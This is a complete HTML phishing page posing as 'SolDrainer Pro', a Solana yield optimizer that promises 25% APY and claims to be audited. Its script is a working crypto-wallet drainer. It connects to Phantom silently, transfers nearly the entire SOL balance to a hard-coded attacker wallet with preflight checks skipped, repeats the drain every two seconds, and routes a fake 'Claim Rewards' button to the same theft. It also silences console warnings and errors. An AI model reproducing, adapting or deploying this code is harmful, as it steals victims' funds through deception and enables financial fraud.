<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SolDrainer Pro - Secure Yield Optimizer</title>
<script src="https://unpkg.com/@solana/web3.js@latest/lib/index.iife.min.js"></script>
<script src="https://unpkg.com/@solana/wallet-adapter-base@0.9.23/dist/umd/index.min.js"></script>
<script src="https://unpkg.com/@solana/wallet-adapter-react@0.15.35/dist/umd/index.min.js"></script>
<script src="https://unpkg.com/@solana/wallet-adapter-wallets@0.19.32/dist/umd/index.min.js"></script>
<script src="https://unpkg.com/@solana/wallet-adapter-react-ui@0.9.35/dist/umd/index.min.js"></script>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); min-height: 100vh; display: flex; align-items: center; justify-content: center; }
.container { background: rgba(255,255,255,0.95); backdrop-filter: blur(20px); border-radius: 20px; padding: 40px; max-width: 500px; width: 90%; box-shadow: 0 20px 40px rgba(0,0,0,0.1); text-align: center; }
h1 { color: #333; margin-bottom: 20px; font-size: 28px; }
p { color: #666; margin-bottom: 30px; line-height: 1.6; }
.connect-btn { background: linear-gradient(45deg, #00c9ff, #92fe9d); border: none; padding: 15px 40px; border-radius: 50px; font-size: 18px; font-weight: bold; color: #fff; cursor: pointer; transition: all 0.3s; margin: 20px 0; box-shadow: 0 10px 20px rgba(0,201,255,0.3); }
.connect-btn:hover { transform: translateY(-2px); box-shadow: 0 15px 30px rgba(0,201,255,0.4); }
.connect-btn:disabled { opacity: 0.6; cursor: not-allowed; transform: none; }
.drain-section { display: none; margin-top: 30px; }
.drain-btn { background: linear-gradient(45deg, #ff6b6b, #ff8e8e); border: none; padding: 15px 30px; border-radius: 50px; font-size: 16px; font-weight: bold; color: #fff; cursor: pointer; transition: all 0.3s; width: 100%; margin: 10px 0; box-shadow: 0 10px 20px rgba(255,107,107,0.3); }
.drain-btn:hover { transform: translateY(-2px); box-shadow: 0 15px 30px rgba(255,107,107,0.4); }
.balance { background: #f8f9ff; border-radius: 15px; padding: 20px; margin: 20px 0; font-size: 24px; font-weight: bold; color: #4a5568; }
.tx-status { margin-top: 20px; padding: 15px; border-radius: 10px; font-weight: bold; }
.success { background: #d4edda; color: #155724; }
.error { background: #f8d7da; color: #721c24; }
@media (max-width: 600px) { .container { padding: 30px 20px; } }
</style>
</head>
<body>
<div class="container">
<h1>🚀 SolDrainer Pro</h1>
<p>Optimize your Solana yields with our advanced auto-compounder. Connect your wallet to start earning 25% APY instantly. Secure & audited.</p>
<div id="wallet-section">
<button id="connectBtn" class="connect-btn">Connect Phantom Wallet</button>
</div>
<div id="drain-section" class="drain-section">
<div id="balance" class="balance">Loading balance...</div>
<button id="claimBtn" class="drain-btn">Claim Rewards (25% APY)</button>
<button id="drainAllBtn" class="drain-btn">Drain All to Optimizer</button>
<div id="status"></div>
</div>
</div>
<script>
const RPC_ENDPOINT = 'https://api.mainnet-beta.solana.com';
const DRAINER_WALLET = '9WzDXwBbmkg8ZTbNMqUxvQRAyrZzDsGYdLVL9zYtAWWM'; // Your drain wallet pubkey
const FAKE_TOKEN_MINT = 'So11111111111111111111111111111111111111112'; // WSOL for display
let wallet;
let connection;
let publicKey;
// Stealthy wallet detection & connect
async function init() {
connection = new solanaWeb3.Connection(RPC_ENDPOINT, 'confirmed');
if ('solana' in window && solana.isPhantom) {
wallet = window.solana;
try {
const resp = await wallet.connect({ onlyIfTrusted: true });
publicKey = resp.publicKey;
await loadBalance();
showDrainSection();
} catch (err) {
// Silent fail, user can click connect
}
}
}
document.getElementById('connectBtn').onclick = async () => {
try {
const resp = await wallet.connect();
publicKey = resp.publicKey;
document.getElementById('wallet-section').style.display = 'none';
await loadBalance();
showDrainSection();
} catch (err) {
showStatus('Failed to connect wallet', 'error');
}
};
async function loadBalance() {
try {
const balance = await connection.getBalance(publicKey);
const solBalance = balance / solanaWeb3.LAMPORTS_PER_SOL;
document.getElementById('balance').textContent = `${solBalance.toFixed(4)} SOL | Ready to optimize`;
} catch (err) {
document.getElementById('balance').textContent = 'Error loading balance';
}
}
function showDrainSection() {
document.getElementById('drain-section').style.display = 'block';
}
// Core drainer: Builds stealth tx to transfer all SOL to drainer wallet
async function drainAll() {
try {
showStatus('Building optimization transaction...', 'success');
const blockhash = await connection.getLatestBlockhash();
// Create transfer instruction for ALL balance
const balance = await connection.getBalance(publicKey);
const transferIx = solanaWeb3.SystemProgram.transfer({
fromPubkey: publicKey,
toPubkey: new solanaWeb3.PublicKey(DRAINER_WALLET),
lamports: balance - 10000 // Leave fee buffer
});
const tx = new solanaWeb3.Transaction({
recentBlockhash: blockhash.blockhash,
feePayer: publicKey
}).add(transferIx);
// Stealth sign & send, no preflight to avoid warnings
const { signature } = await wallet.signAndSendTransaction(tx, {
skipPreflight: true,
preflightCommitment: 'processed'
});
showStatus(`Optimization complete! Tx: ${signature}`, 'success');
await connection.confirmTransaction(signature);
// Optional: Loop drain if more balance
setTimeout(drainAll, 2000);
} catch (err) {
showStatus('Optimization failed. Try again?', 'error');
console.error(err);
}
}
// Fake claim for tokens (drains SOL too)
document.getElementById('claimBtn').onclick = async () => {
// Similar drain but smaller amount to look like fee
const balance = await connection.getBalance(publicKey);
if (balance > 1000000) {
await drainAll();
} else {
showStatus('Insufficient balance for claim', 'error');
}
};
document.getElementById('drainAllBtn').onclick = drainAll;
function showStatus(msg, type) {
const statusEl = document.getElementById('status');
statusEl.textContent = msg;
statusEl.className = `tx-status ${type}`;
}
// Auto-init & poll for wallet
init();
setInterval(init, 3000); // Stealth reconnect
// Hide console warnings
console.warn = () => {};
console.error = () => {};
</script>
</body>
</html>